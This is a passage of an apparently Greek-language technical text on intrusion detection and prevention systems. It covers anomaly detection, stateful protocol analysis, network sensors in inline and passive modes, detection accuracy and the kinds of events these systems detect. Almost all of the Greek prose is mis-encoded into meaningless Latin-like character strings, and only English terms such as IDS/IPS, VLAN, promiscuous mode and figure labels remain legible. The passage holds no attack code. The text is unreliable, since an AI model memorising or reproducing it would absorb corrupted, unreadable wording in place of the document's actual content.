(PUGIOAOYIKEG KOl VOULUES OpUoTNPLOTNTES, UE GTOYO TNV OVIYVELGT ONUAVTIKOV OTOKAICE®V Oomd
avtd. H peBodoroyio avty ypnolomolel wPOTLTO. 7OV  AVIITPOSHOTEDOLY TI PLUGLOAOYIKN
GLUTEPIPOPA TOV YPNOTAV, TOV TANPOPOPLOIKDOV GUGTNUATOV, TOV EPOPUOYDV KOl TOV OIKTLOK®OV
oLVVOEcEY, TO OmOio. OMOVPYOLVTOL KOTOTLY TapaKoAoVONOoNG Kol HEAETNG TNG TUTIKNG
dpaotnprotntdg tovg. To IDS/IPS ypnoipomolel 6tn cvvéyela otatioTikég pebddovg yia T cVYKpion
TOV  YOPOKTNPIOTIKOV TNG TPEYOVCHG OPUoTNPLOTNTAG HE TO KOTOQALNL ELOOTOUCEDV TOV
YPNOLUOTOOVUEVOV TTPOTOR®V. TE€Toov €idovg mpdTLIO. pmopohv va dnuovpyndodv yio TOAAG
YOPOKTNPIOTIKO GLUTEPLPOPES, OT®G Yo Tapddetypo Tov opldpd TV UNVOLAT®OV MAEKTPOVIKOD
TOYLOPOLEIOL OV ATOGTEAAEL EVag XPNOTNG, TOV OPOUd OTOTVYNUEVOV TPOCTOHEIDY GUVOEGNC OE
éva cOOTNHO, TIG MPEG TNG NUEPAG KOl TOVG 6TABUOVG €pyaciag and TOLG OMOI0VG GLUVOEETOL £Vag
YPNOTNG 1 TO EMIMEDO YPNOLUOTOINCNG TOV VTOAOYIGTIKOV TOP®V EVOG GLUGTILOTOC GE pio ded0UEVN

YPOVIKN TtePindo.

To Pacwod mheovéktnua tng pebodoroyiog aviyvevorng Pdcel eviomopod dwtopoymv gival m

OTTOTELEGUATIKOTITA TNG OTIV OVIXVELON AYVOCTOV OTEIA®V, OTWOC Yo TOPASEIYUO Ui0G LOLOPPNG
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véOou TOTOV, 1 OMOi0 KOTAVOAMVEL VTOAOYIOTIKOUG TOPOLS, OMOCTEAAEL €va LEYAAO OplOpd
NAEKTPOVIKOV UNVOUATOV 1] TPAYHOTOMOLEL EVEPYEIEG Ol OMOIEG €YOLV  YUPOUKTNPICTIKA OV

SL0POPOTOIOVVTOL GTUOVTIKA OO QLT TV YPTCUOTOLOVUEVOV TPOTOTWV.

Onwg mpoavapépOnke, to TPOTLIO SNUOVPYOLVTOL KOTOTY TOPOKOAOVONONG kKot HEAETNG NG
TUTIKNG OpactnplotnTag. H TopaikoiovBnon g TumKng Kot pUGIOAOYIKNG pacTnplotnTag Adpfivel
XDOPA Y10 VAL CUYKEKPIHEVO YPOVIKO StdoTnpa T0 0moio Hmopel va SopkESEL amd HEPIKEG NUEPES £WGC
Kot pepikég efdopddes ko ovoudleton mepiodos exmaidevons tov IDS/IPS. Ta mpdtumo mov
dnuovpyohvtol HEC® aVTNG TNG dtodikaciog umopel va, eivar gite otatikd gite dSvvapukd. To otatikd
TPOTLTOL TAPAPEVOLV avaAloiTa, EmG 6ToV KPBel amapaitntn 1 €K VEOL dMpovPYia TOVG, AOY®D T®V
oAloy@v mov yovv eméAfel pe TV TAPOSO TOL YPOVOL GTO GUGTHUOTO KOl TO (QUGLOAOYIKA
YOPOKTNPLOTIKG GUUTEPIPOPAC. AVTIOETMOC, To SuvapKd TPOTLTIO OvaTPOoGapPrOlovTal SlopKdS facel
TOV OAAIYOV 7OV TOPOTNPOVVTAL GTO YOPOKTNPICTIKA CLUTEPIPOPGG, OAAG elval evdAmto o€
TEYVIKEC OLOPVYNG Ol OTOIEG LITOPOLY VA ¥PNGILOTOMB0VV amd TOVG EMTIOEUEVOVG TPOKEIUEVOL VL
ekmodevoovy otpefra to IDS/IPS. T mopddetypa, vog emtiféuevog umopei vo ektehel avd TakTd
YPOVIKA OlooTAOTE KakOPBOVAEG evépyeleg o1 omoieg Ba eivar apyikd pikphg KALaKog, €161 HOTE va
unv mopdyovtol gdomomoelg ond to IDS. Av pe v mapodo Tov ¥povov avEAveEL oTUSIOKG TN
oLYVOTNTA KOl TNV TOGOTNTO QLTOV TV KoKOBovA®V gvepyelmv, to IDS/IPS pmopel evdeyopévag va
Bewpnoetl avt T SPACTNPLOTNTA MG PLGLOAOYIKT KOl VO, AVATPOCAPUOGEL TOL TPOTLTE TOV £TGL DGTE

Vo TNV GUUTEPIAAPEL OE QVTA.

H evoopdtwon xaxdéfoviwv dpaotnpotitov ota mpotvre evog IDS/IPS mov Paciletor otov
eVTOmIoUO Slatapaydv eival £va YeVIKOTEPO TPOPANL, KaBMG evoéyeTar va ekdnAmbov KakdPovieg
dpaoTNPLOTNTEG KATA TN O1dpKELN TNG TEPLOOOL ekmaidevon|g Tov. ‘Eva debtepo mpdfAnpa avtng tng
pebodoroyiog eivar m dvokoriar Snpovpyiog TPOTLI®V TO omoio gival okpiPr], KabOMg KaTd TNV
mepiodo exkmaidevong eivar mhavov vo unv ekdniwbovv kaBoAa PLGIOAOYIKEG dPACTNPLOTNTEG Ol
OTO1EC OUMG TOPEKKAIVOUY SNUOVTIKE TNg KaBnuepvig uatoroyikng dpaotnptotntog. Tlapdderypo
piog T€Tolag SpacTNPIOTNTOC UTOPEL VO OOTEAEL | AYN EVOG UNVICIOL aVTIYPAQOL 0CQOAEING KoL 1)
avTiypo@ €vOg oNUOVTIKOD OYKov Og0ouévev 1 OTmole TMOPEKKAIVEL amd TN QUGLOAOYIKY
dpaocTnploTTo, TOL EYEL EVEOUATOOEL GTO TPOTLTO, UE AMOTEAEGUN TNV TOPAY®YN WioG Yeudmg
Betikng ewdomoinong omd to IDS/IPS. H mopoyoyq onuovtikod opBpod yeuddg Betikdv
€100moMoEMY OAAG Kot 1 OVGKOAN SIGKPIGNG TOVG amd TIg aAnbag Oetikég edomomoelg, sival
onuavtikd mpofAfuata g pebodoroyiag, Ady®m Tng TOALTAOKOTNTOG KOl TOV HEYOAOL oplBuol

YeYOVOT®V 6Ta 0Tolo Pmopel va opeiietart pio eidomoinon.
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3.4.3 Aviyvevon Pacilopevn 6Ty avaivon TS KATAGTUGTS TPOTOKOAL®OV

H aviyveoon Bacel avdivong ™mg KOTAOTOONG TPOTOKOAL®V
(stateful protocol analysis) mpayuatonoleital pEc® ™ GULYKPIONG TOV TAPATHPOVUEVOV YEYOVOTOV
pe mPokaOOPIGUEVE TPOTLTA OMTOOEKTMV OPACTNPOTHTOV TOV TPOTOKOAA®V Yo TV Kabe
Kkatdotoon tovg. Ta IDS/IPS mov ypnouonotovy avthiyv ™ uebodoroyia, eival o BEon va katavoovv
KOl VO TopokoAovfody TNy KoTAoToon TV TPOTOKOAA®V EMTEOOL SIKTOOV, HETAPOPAS Kot
EPOPLIOYNGC, TA OTTO10 YPNOIUOTOLOVV TNV évvola NG Katdotaons. I'ia mapddetyua, dtav évag xpnotng
Eexwva pio ovvodo FTP,  obvodog Ppioketar apykd oe katdotoon pn ovbeviikomoinong. Ot pn
avBevtikomoinpévol ypnoteg Bo mPEmel vor EKTEAODV UOVO GUYKEKPUEVEG EVIOAEC OTI OEOOUEVN
KATAGTAOT TNG oLuvodov, Omm¢ 1 mpofoin Ponbeloc M n mopoyn TV damictevtnpiov tovs. H
KATOVON O™ TNG KOTAGTOGNC TOV TPOTOKOALOL EMITVLYYAVETOL LE TNV TOPAKOAOVON O ALTUATOV Kot
amavtioeov. Etol, otav emyepeiton 1 avbevrikonoinon evog ypnotn, 1o IDS/IPS pmopei va
avtilnefel av n mpoondfeia Mrav emtuyng, €etdaloviog Tov KMOKO KaTAoTAGNG TNG OVTIoTOYMNG
armdvtnone. Metd v emroy) avbevticomoinomn, 10 TPMTOKOAAO E1GEPYETOL GE piol KOTAOTOOM
aLOEVTIKOTOINGTG KAl Ol XPNOTES OVAUEVETOL VO EKTEAOVV £va GUVOAO omd eviolés. H extédeon
QVTOV TOV EVIOADV TN 6edouévn katdotoorn Bewmpeitol VOULUN KAl QUGIOAOYIKY], EVD 1) EKTEAECT)

TOV 1810V EVIOA®Y oTNVY Katdotacn un avbeviikonoinong Bewpeitat vmomt. [1]

H pebodoroyio aviyvevong Pdcer avaivong g Kotdotaong TpmtokOAl®v elvar oe 0éom va
AVIYVEVLGEL VTTOTTEG aKOAOLOiEC eVIOA®V, KaO®MG emiong Kol Vo KOTOYPAPEL TO YPNOTH TG VTOTTNG
GUVOS0VL, OTAV YPNCULOTOLOVVTUL TPOTOKOAAN TOV TPAYUOTOTO0VV avbeviikonoinom ypnotdv. Eivat
eniong dvvatd va kabopilovror amodekTéG dpacTNPLOTNTEG VA ORAOES YPNOTAOV 1 UELOVOUEVOVG
ypnotec. Téhog, divetan n duvatdtnTa AoYIK®V eAEYYOV Katd TV ektédeon evioiwv. [a mapddetypa,
KATA TNV avBEVTIKOTOINGT TV ¥PNoTAOV, elval duvatd va ereyyBel 1 TN TOv TopeXOUEVOL O TO
YPNOTN KOO TPdSPaons, TPOKEWEVOL Vo damoT®whel av To PAKOG Tov glval PIKPOTEPO 0md TO

UEYIGTO OT0dEKTO UNKOG 1 0V 0L TO TEPIAALPAVEL dSVAOIKE dedoUEVaL.

H ovykexpuévn pebodoroyia ypnotpomotel poviélo mtpwtokdOAlwv mov Paciloviol oto TpoOTLTO
QVTOV TOV TPOTOKOAAWOV Kot To, 0oia AdpPivouy VoY TiG SPOPOTOCELS TOL VILAPYOVY UETAED
SPOPETIKAOV VAOTOMGEDY TOVG. Ot S10(POPOTOGES OVTEG OV VIAPYOVY HETAED TOV SAPOPOV
viomomce®v KOOGTOUV OVUGKOAN TNV TANPN Kot akpP oviilvon NG KOTAGTAGNG TMV

TPOTOKOAL®V.

To peyolitepo pelovéktnoe avtig e pebodoroyiag givar To yeyovog OTL gival 13104TEPOL OTOLTNTIKY
0€ VTOAOYIOTIKOVG TOPOVLS, AOY® TNG MOALTAOKOTNTOG TNG OvOAvomg Kot g emPdpuveng mov
TPOKVTTEL GO TNV OVAYKT TOLTOYPOVIG TapakoAovOnorng moAlmv cuvodwv. ‘Eva dAlo cofapd
petovéktnua e pebodoroyiog ival to 0TL dev givar og Bom va aviyvevcel emBEGEIC TV OTOI®V Ta.

YOPOKTNPLOTIKG, SEV ATOKAIVOUV 0O GUTE L0 OmOdEKTAG YPNONS EVOG TPOTOKOAAOD, OTTMG Elval yio
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TAPAOELYLLOL 1] CUVEXNG EKTEAECT] LUOG VOULUNG EVEPYELNG, LLE GTOYO TNV KATAPPELGN TOV GUGTNLOTOG

oTOYOV.

3.5 TYmor teyvoroyr®v IDS/IPS

O1 diGgpopeg volotduevee teyvoroyieg IDS/IPS pmopodv va opadomombodv o1ic mapakdtm

KOTNYOPIES TEYVOLOYLDV, O1 OTOIEG TEPTYPAPOVTOL AVAAVTIKA GTIC ETOUEVES TAPAYPAPOVC:
e Awrtvakd IDSs/IPSs
e Acvpuato IDSsS/IPSs
e IDSs/IPSs avaivong SiKTuakng GCOUTEPIPOPES

o IDSs/IPSs pepovopévon GuGTHOTOG

3.5.1 Awrvoxka IDSs/IPSs

‘Eva dwiktvokd IDS/IPS (Network-Based IDS/IPS) mapakolovbel T SiKTvoKn KivioT GUYKEKPYUEV®V
TUNUAT®V £VOG SIKTVOV 1 GUGTNUATOV KOl OVOAVEL TO TPMOTOKOALN EMUTESOL SUKTVOV, LETAPOPAS KO
EPAPUOYNG LE OTOYO TNV aviyvevor VTONT®V dpactnPotHT@V. Ta dopikd otoryeio evog dtkTvoKoD

IDS/IPS givau to oxdAovOa:

o AwOntipeg (sensors). Ot awsOntpeg evog diktvakov IDS/IPS mapakorovbody tn diktvakn
kivnon &vog M TEPICCOTEPOV TUNUAT®OV €vOg OkTOHov. Ot Slemapég SIKTLOL  TOL
avoroufdavovy v mapakolovOnon tng dikTvakng kiviong O<tovtal ce promiscuous mode
(katdotoon etepOKANTNG Asttovpyiag), TPOKEWEVOL VO, Omodéyovtal OAo TO EIGEPYOUEVQ
TOKETA TOL PAETOLV, OVEEAPTNTMG TOV TPooplopol tove. EmimpocBétmg, amopevyetal va
Aappavouv devbvven IP mpokeyévou va amokpimTeTon 1) VIopEN Tovg. Mio eykaTdoTao
evog IDS/IPS propei va mepthoufdvel ToAlomhodg oicOnTthpes, Tpokeluévon va givor og 6o
va TopakoAovOel T dtkTvakn Kivnon dpopmy TUNHATOV evOg dtkTvov. Ot acBnThpeg eival
dwbéoipor oe 600 HOPPEG, TIG OGLOKELEG aoONTP®V Ol ONoieg OmMOTEAOVVTOL OO
€CE10IKEVILEVO DAKO KOt AOYIGHIKO TTOL glval oYedaoEVE KOl PEATIOTOTTOMUEVA Y10L VTH TN
¥PNON, Kol TOVG oucHNTAPEG HOVO AOYIGUIKOD 7OV UTOPOVV Vo €YKOTaoTabovuv of

VTOAOYIGTEG OV 1KOVOTOLOUV OPLOHEVES TTPOSIOYPAPES.

o Awkouetéc dwoyeiprong (management servers). TIpokeital yio KEVIPIKG GLGTAUOTO TO
omoia Aapfdavouv TANpoeopieg amd Tovg asOntipeg Kat gival vrevBuva Yo T Stayeipion
tovc. Ot dwukopuotés dayeiptong eivar cuvnBwg og Béom va TpayUaTonolovy avdAvor Kot
OCUGYETION TV TANPOPOPLOY TOL AAUPAVOLV amd TOLG OPOPOVS CLCONTAPES Kol Vo

aviyvevovv yeyovota ta omoia dgv eivar oe Béom va avayvopicst o KGBe peLOVOUEVOSG
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awctnmpoc. Mio eykotdotoon evog IDS/IPS, avdloyo pe to péyebdc tmg umopel vao
nephapfavel évav, TEPIGGOTEPOVEC N Kol Kavévay SlaKouot dlayeipione. Onwg kot ot

oot pec, eivar 10001101 €lTE MG CLOKEVEG EITE WG AOYIGIIKO.

o Awkoustéc Paccov dedopévov (database servers). Xpnoyomoodviol ©g £vog ymdPOGC
amofNKeELONG TOV TANPOPOPIOV 7OV KATAYPAPOVTOL OO TOLG eONTAPEG KOl TOVG

SLOKOUIOTEG doryeiplong.

o Kovooleg (consoles). Ot kovooLeg ival TPOYPAUUATO TOV TOPEYOVY Wi SIETOPT XPOTN Yo
10 IDS/IPS, mpokeipévou va yiverar evkoAdTepn 1060 1 S10K(EIPLGT TOV GLOTAHUATOG, OGO Kol

N TOPOKOAOVONGN Kol AVAALGT TOV YEYOVOT®Y OV KATHYPAPOVTOL.

3.5.1.1 Apytektovikég 01kTOOL Kot BEGEIC asOnTpwV

Ta dopkd otoryeio. evog diktvakod IDS/IPS eivar duvatd vo cuvdéovtor peto&h Toug PEGH TOL
TUTTIKOD OIKTVOV EVOG OPYAVIGHOV, 1| HEC® €VOG EEY®PIOTOD SIKTVOV OWGTNPA GYESIONGUEVOD Yol TN
dwaxeipion Tov Aoylopkod aoQoAging, TOL givol YVOGTO ©G JikTDO OloyEPIonS. TNV TEPITTOON
YPNONG €VOG dKTHOL drayeiptong, o kdbe arsOnthpag dwbétel pia emimiéov demapn SIKTHOL, YVOGTN
¢ dlemapn Owyeiptong, N omoia dev umopei vo ovtadddEetl dedopéva e TIG VTOLOITEG O100ECIEG
SETOPES OIKTHOV TOV AGHNTAPO Kot XPTCLLOTOIEITAL Yl T GVVIEGT TOV 0T0 dikTvo dryeiptong. Ot
SLOKOUIGTEG OlayEipLonc, ot dlaKoUIoTéG PAoemV SEGOUEV®V KAl 01 KOVOOAES GUVOEOVTOL LLOVO UE TO
diktvo dwayeiponc. H apyltektoviky avty], av Kol cuVOOEVETAL Amd ALENUEVO KOGTOG AgtTovpyiog,
OTOHOVAVEL TO O1KTLO dlayeiplong amd TO TLTIKG dIKTLO, TPOKEWEVOL Vo emTeVyDel 1 amdkpovyn g
omapéng tov IDS/IPS, 1 npootacia tov IDS/IPS and embicelg kou 1 eEac@diion tov amapaitntov

v tn Agrrovpyia tov IDS/IPS gdpovg {dvnge.

Mia evolhoktiky Avorn n omoio emawédvel w¢ éva Babud v acedieto tov IDS/IPS, givar ) ypion
EVOG EIKOVIKOD O1KTVOL dlayeipiong, péow evog sikovikod tomikod diktvov (Virtual Local Area
Network (VLAN)) evtog tov tumikod diktvov. H opyrtektovikn avtf 6umg dev mopéyel Tov 1610
Babud acedieag pe 1o Eexwplotd dikTLO dLoyEipIoNg, KOOMDS apevdg LeV XPNOILOTOLOVVTAL Yo TO
EIKOVIKO O1KTVLO S10YEIPIONG OL TOPOL TOV TLTIKOV SIKTOOL LE EMTTMCELS GTN SLBECIUOTNTA Kot TIG
emdocelg Tov IDS/IPS og mepintmon epeaviong TEPIOTATIKOV OGPAAELNS, KOl APETEPOL givor THAVO

va yivouv AavBacpéveg pubuicelg tov VLAN ot omoieg Oa apricovv ektebeuévo to IDS/IPS.

EmmpocBétmg g emAoyng apyltekTtovikng diktHov, gival amapaitntm 1 exihoyn g 0éong Kot Tov
TpoOmoL Aettovpyiog tv aodntmpov. Ot dabéoyeg emAoyég Aettovpyiag Tov aicOntipev sival ot

axolovbec:

o  Ev00ypappun (inline). O tpdémoc avtdeg Asttovpyiog evog arsOntipo opoldalel ye tov tpdmo
Aetrtovpylag €vog telyovg mpootaciog, koOOE M wopakoAovBovuEVT] OIKTLOKY Kivnom

dépyetal pésa amd avtdév. Me avtdv tov TpoOmo divetar 1 dSuvATOTNTA GTOVS s THPES Vo
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OTOTPEYOLV TIG EMOEGELS TOL AVIYVEVOVV, TOPEUTOSIoVTAC TNV avTioToryn dIKTLAKN Kivnon.
Ot guBvYpappol arsdnmpeg tomobetovvral cuviBwe oTo onpeior TOV ToToBeTOVVTOL KOl TO
Telyn mTpootaciag, SNAnd| 6To oMpEIN GVVIESTG SLUPOPETIKDOV VTOSIKTIMV KOl GUVOESTG TV
E0MTEPIKAOV SIKTOOV pe To e&mtepikd diktva. Xtnv Ewdva 3-1 divetar éva mapdderypo

tomoBétnong evog evbBiypappov aedntpa diktvakod IDS/IPS.

e

.“‘_.,. e '\

1

Router

Switch

Firewall
Menitoring
Dec--"""" interface’
Management
----------- interface M
IDPS Sensor s Jor=m anagement
Switch
Monitoring
interface
Switch

Internal
Network J
IDPS IDPS
Management Console
Server

Ewova 3-1: Mopaderypo apttektovikig ev00ypappov awsOntipa diktvaxoed IDS/IPS [1]

o TTuOnTuka) (passive). e avtdv Tov TpOTO Acttovpyiog o aodnTpag tomobeteital katd TéTolo
TPOTO MOTE VO TOPAKOAOVOEL £va, aVTIYPOPO TNG TPAYHOTIKNG SIKTLOKNG Kiviiong, Kabdg oe
avtnv mepintwon 1 kivnorn dev Siépyetan péca amd avtoév. Or mabntikol oucOntipeg
tonoBetovvtan €tol dote va gival og Béom va TopaKoAovBoOOV OMUOVTIKEG TEPLOYES TOL
dwtvov, omwg n DMZ (amootpaticomompévn Cmvn (demilitarized zone)). T v
TapoKoA0LONGN NG SIKTVLOKNG Kiviiong umopoly va ypnoytoroinfovv ot topakdt pébodot:

" Ovpa avrrypapis kivieng (mirror 1 span). TToAhd switches dwaBétovv pio 6Opa
avTIypoeng OANG TG SIKTLOKNG KIviong OV SEPYETAL AmO AVTO. ZVVIEOVTUS EVOV

aisOntpo og auty T B0pa divetal n duvatdtnta TapaKolovONoNg TG Kivong mov
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diépyeton amd to switch. H pébodog avtn eivar 1diaitepo e0KOAN KOl OIKOVOULIKT.
Oumg pmopel va anodeydei tpofAnpatiky oe nepintmon vrepeoPT®ONG TOL SWitch,
KkaBmg 1 B0pa avTypaeng kiviong evoéyetal va unv sivar oe 0éom va del OAN

dtepyouevn xivnon.

" Ayoydég drukhadwong diktvov (network tap). Tpdketton yio pio cvokevn 1 omoia
divel tn dvvatdtnta og Evav ooOnTpa va €xel GUECT) GUVOESTN GTO PULOIKO HECO
UETAOOONG, TOPEYOVTAS TOL £va avVIlypa®o OANG NG OKTVLOKNG Kivmong mov

UETOPEPETAL OTO TO LEGO PETAOONG,.

=  E&wopporntiic goptiov IDS (IDS load balancer). O g&icoppomntic goptiov IDS
glvar pio GuGKELT 1 OTOI0L GLYKEVTPMVEL KOl KOTELOHVEL TN SIKTLAKY KiVIOT GTOVG
acOntpec IDS. Mropel vo cuykevtpdVvel avtiypoa@o T SIKTLAKNG Kivnong omd
SAPOPOVES AYYOVG OloKAAO®ONG SIKTOOL 1 BVpeg avtiypagng kivinong kol vo
SlavEpeL avtiypago avtig TG Kivnong o évav N meptocdtepous astntipeg, facet
evOg oLuVOLOL KavOVeV oL €xovv optotel. Ot kovoveg avtol kabopilovv ™ AoyiKn
Baoel ¢ omolag yivetor 1 dwvoun tng Kivnong, m omoio pmopel vo dtavEpeTon
opowdpopea 6e GAOVE TOvg aloOnTpeg, va daywpileton dvvautkd ovd aicdntipa
Baocel Tov 6ykov TG M va doympiletor BAGEL YOPAKTNPIGTIKOV OT®G Ol d1eVOVVGELC
IP kot o ypnopomolovpeva tpwtdékoira. O daywpiopds e Kivnong Kot 1 dtavoun
NG O€ JPOPETIKOVE AoONTAPEC EVOEXETAL VO 00N YN GEL 0E UEiwoN NG akpifelag
aviyvevong, otV TEPINTOOT OMOv SWPOPETIKE TUNHaTa VOGS YEYOVOTOS YivovTot
opatd amd SoeopeTkovs aohntipec. Av yio mapdderypo ekdniwbei pio eniBeon
nmov amoteheitor amd dvo drapopetikd Prpata, omov to KAbe pepovopévo Prua
Bewpeitor VOUIIO EVED 0 GLVOVAGHOG TOVG KOKOPOVAOG, 1 embBedpnomn Tovg and dVo

SPOPETIKOVG ansOnTpeg TOAVOV va Unv 00NYNGEL GTNV aviyveLon tng enifeong.

Ymv Ewova 3-2 didoviar mopadeiypota tomofétmong modnTtikdv aentipov Siktuoako

IDS/IPS.

AOY® Tov OTL Ol TadnTKol o1eOnNTpeg mapakolovBovy aviiypaea Tng OIKTLOKNG Kivnong, ogv
dtabétovy €vav a&lomIeTo TPOTO SIUKOTNG TNG OIKTLOKNG KIVIOTG KO OTOTPOTNG TV OVIYVEVOLEVOV
ewfor@v. Avtd mov cuvibmg mpoomabovy vo Kavovy ot Tabntikol aeOntpeg gival n elcay®yn
TOKETOV 670 dikTvo T ool Ba SrakOyoLV pia emikowvmvio (0nmg Yo mapdderypa mokéta RST),
oAAG ot péBodotl avtég sivar AyoteEPo amOTEAECUATIKEG amd TOV gVBVYPaUO TPOTO Agttovpyiog.
Avtdc elvar kar o AOyoc mov ovviBwg mpotudTon o gvBOYpaUHOC TPOTOC Asttovpyiag TV

aoOnTp®V dtav givorl EMBLUNTA 1 ATOTPOTN TOV AVIYVEVOLEVAOV EIGBOADV.
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Ewoéva 3-2: Tlapadeiypoto apyiteKTovIiKIG TadNTIKAOV 0ie0nTipov diktvakod IDS/IPS [1]

3.5.1.2 AxpiBea aviyvevong

Ta dwcrvaxd IDS/IPS avtipetdmlov oto mopeldov to mpdPAnua g EPPAVIoNG VYNADY TOCOGTMOV
false positives xau false negatives, kabmng omnpiloviav amoxkielotikd kot pévo otn pebodoroyia
aviyvevong Pacet vmoypoaeadv. Ot vedTtepeg TEXVOLOYIES ¥PNOILOTOLOVY £VO GUVIVAGLO LEBOSOAOYIDV
aviyveLoNGc, TPOKEIWEVOL Vo BEATIOCOVY TNV OKpIPela aviyvevong e amoTéAec TN UEIDOT AVTOV
TOV TOG0oTMV. Xvvinbwg, ot pebodoroyiec mov ypnoionolovy eivar aAAniévoetes. o mapddetypa,
pio Sadkasio avalvong KoTaoToons TPOTOKOALOL Umopel v dwoympicel To o1THHOTO OnO TIg
amavTNoELS, ke Eva omd ta ctnpata vo eheyyel otn cvvéyela yio mbavig datapayEs Kot TELOG va

ovykpBet pe Tic Srabéoieg VTOYPAPES Yo TV aviyvevon VTOTTOV SPACTNPLOTHTMV.

H onpavtikdtepn artia eppavions tov false positives kou false negatives eivor n molvmiokdtnta TmV
dpaoTnploTHTOV TOoL TapokolovBovvtal. Adym Tov TANB0VG TV TAPAKOAOVOOVEVEOY VTOAOYIGTOV
KOl NG TOKIAIOG TOV AETOVPYIKOV GLOTNUATOV Kol TOV EQUPHOYDV, 7OV UTOPOLV Vo
dnuovpynoovy éva eEatpetikd peydio mAnbog cuvdvaoudy peta&d Tmv Servers kol tav clients, ot
atetnmpeg evog diktvakov IDS/IPS dev givar o Béon moAAég popég va avTtiAn@fovy cwotd v

Kivnomn mov TapaTPovV.
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I8avikd, to diktvakd IDS/IPS Ba mpénel va aviihapuBdavovtot Tig SIKTLOKES SpucTNPOTNTES UE TOV
010 Tpoémo mov TIg avrtiapuPdvovrior To dVo dKkpo piag emikowveviag. o mapdderypa, Vo
drapopetikoi Web servers evoéyetat va avtilaufdvovol SlopopeTikd 1o i6to aitnua e&umnpétnong.
[ToArol emtiBépevol a&lomolovy GLYKEKPILEVO YOPOKTNPIOTIKG emelepynciag TV Servers kol Twv
clients, 6mwc Yo mWoPASEYUO O YEPIOUOG TNG KOOKOTOINGNG YOPOKTNP®V, TPOKEWWEVOL VO
amo@Oyovy TV aviyvevon tovg amd ta IDS/IPS. TV avtd 10 AdYo, GuYvA YPNOOTOI0DVTOL TEXVIKEG
avVAALONG KOTAGTOGNG TPOTOKOAAMY Ol OTOIEG OVATOPAYOLV TNV EMESEPYNTIO TOV TPAYLLOTOTOLEITOL

amd yvootovg Tomovg clients ko servers.

3.5.1.3 Tomot aviyvevopevov yeyovotwv

O1 tOmot TV yeyovoTmv mov cuvnbng aviyvedovtal and évo diktvakd IDS/IPS, givatl ot akoiovbor:
[1]

o EmOfoaic emmédov s@oppoyfis, omwc vmepyeihioslg pviung (buffer overflows), xat
petadoon wopopemv. H aviyvevon avtdv TV  dpoactnpotitov Kot  emBécemv

TPOYLOTOTOLEITOL LEGM TG OVAALOTG SEKASMY TPOTOKOAA®Y TOV EMITEGOV EPUPLOYNC.

o EmOéceig emumédov PETOQPOPAS, OTMG GAP®OT BupdV Kol 0cLVNOIGTOC KATAKEPUUTIGHOG
Tok€TV. Ta TPOTOKOAAN TOV EMTESOV PETOPOPAC OV avaAivovtol cuviBmg eivar o TCP

kot to UDP.

o EmBécerg emmédov OwktHoV, OmMwg TMANCoTEG OlevBivoelg IP kol un omodektég TIES
emke@aAidwv IP. Ta mpwtdékorria Tov €MTESOV SIKTVOL TOL OvoAvovVTOL GLVINB®G givol Ta

IPv4, IPv6, ICMP xat1 IGMP.

o  AmpocdoknTeS VANPEGIES £PUPROYDY, OTmG backdoors kol GLOTAUATO TOV EKTEAOVV un
EYKEKPIUEVEG VANPETiEC, ol omoieg evromilovian péom peboddv aviilvong Tng KATUoTooNG

TPOTOKOAL®V 1) EVTOTIGHOV SL0TOPAYDV.

o [Mopapracels TG TOMTIKNG UGPAAENG, OTTMOC YPNOT UN EMITPENOUEVOV OTOGEAIOMV KOl
TpoTokOA @Y. Ot mopafidcelc ovtéc eivor dvvatd vo  evromotovv  opilovtoc Ta
YOPAKTNPIOTIKA TOV OPACTNPOTAT®V Tov Oev &ivar emtpentd, Omw¢g Otevbivoelc IP,

ap1OLovE BLPOV Kot OVOIATO IGTOCEADMV.

3.5.1.4 Tlapoperpomoinon

Ta dwctvaxd IDS/IPS amortodv vynio Pabud mopopetpomoinonsg TPOKEEVOD Vo, PEATIOGOVY TV
axpifeidr Tov avyvedoedv Tovg. Ilapadeiypoto TETOWWV TOPOUETPOTONGE®V Eival O OPIGHOG
KOTOOAIOV yloo TNV oviyvevon clpmong Bupdv kKol TV mopoymyn €W00TOCEDV Y10 TOAAATALG

amotuynuéves mpoomdbelec avbevtikonoinone, kabdg kot o oproudc blacklists kot whitelists yio
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dtevBvveoelg IP kot ovopata ypnotdv. Optopéve amd avtd divouv Tn duvatdTNTO TPOTOTOINCNE TOV

VIOYPAPDV TOV YPNGLUOTOL0VV 1] OKOLLOL KOl TOV TTNyaiov kKddikd tove.[1]

Eniong, opiopéva diktvaxd IDS/IPS pmopovv va a&lomomoovy TANPOQOpieg OYETIKG HE TOVG
VTOAOYIGTEG TOV OPYOVIGUOV, TPOKEWEVOL va Betiddcovy v akpifeid tovg. o mapdderypa, givar
duvaTo vo Tpocdiopiotovv ot Web servers, o mail servers kot dAlot THTol VITOAOYIGTOV, KAHDS Kot ot
TOTOL TOV VANPECIOV TOL TOPEYOVTIOL amd avtovg. Ot mAnpogopieg avtég divovv ) dvvatdtnta
am6d00NG S10popeTkoD Pabuod tpotepaidTnTag oTIS TAPAyOUEVES E0oToMoElC. [0 Tapddetrypa, pio
gdomoinon ywoo pia emibeon mov agopd tov Apache web server Oo éxer vynAdtepo Pobud
TPOTEPALOTNTAG OV 0LTH 6ToYEVEL évov Apache web server and pio gidomoinon yuo v 1610 emifeon
OV 6TOYEVEL Evav GAlo Tomo web server. Téhog, kdmoto diktvakd IDS/IPS pmopodv va dexbodv ta
amoteléopata VOg EAEYYOV EVTOOEIDV KOl VO T 0EIOTOINGOVY TPOKEUEVOD VoL 0odidovv Eva Badud
TPOTEPALOTNTOG OTIG TOPAYOUEVES EIOOTOCEIS KOl VO OTOQUGILOVV GYETIKA pe T Ayn UETP®V

OTOTPOTNG T®V eMBEcEWV avAAoya Le Tig mBavoTnTeS emMTLYiaG TG emiBeonc.[1]

3.5.1.5 Avvatdtmreg GLALOYNG TANPOPOPLDV

Opiopéva IDS/IPS éyovv t duvotdtnto cLALOYNC SloQOpOY KOTNYOPLDY TANPOPOPIOY, OTMG Ot

mapokdTm: [1]

o Ymohloyistéc. 'Eva diktvoko IDS/IPS pmopei vo dnpuovpynoet pio Moto He TOVG VITOAOYIGTES
TOV SIKTVOV TOL OpYavIoHOoD, PBdoel Tav dievbiveewv IP kot MAC, ét61 dote va givan og

0éom va avayvopicel veoeupavi{OPEVOVS VTTOAOYIOTEG.

o Asttovpykd ovetipote. Eva dwktvaxd IDS/IPS umopel vo avayvopicet yioo kdfe
VTOAOYLOTH TOV OIKTVOV TO AEITOVPYIKO CUGTNUO KOl TV €KOOGT| TOV, YPNCLLOTOLOVING
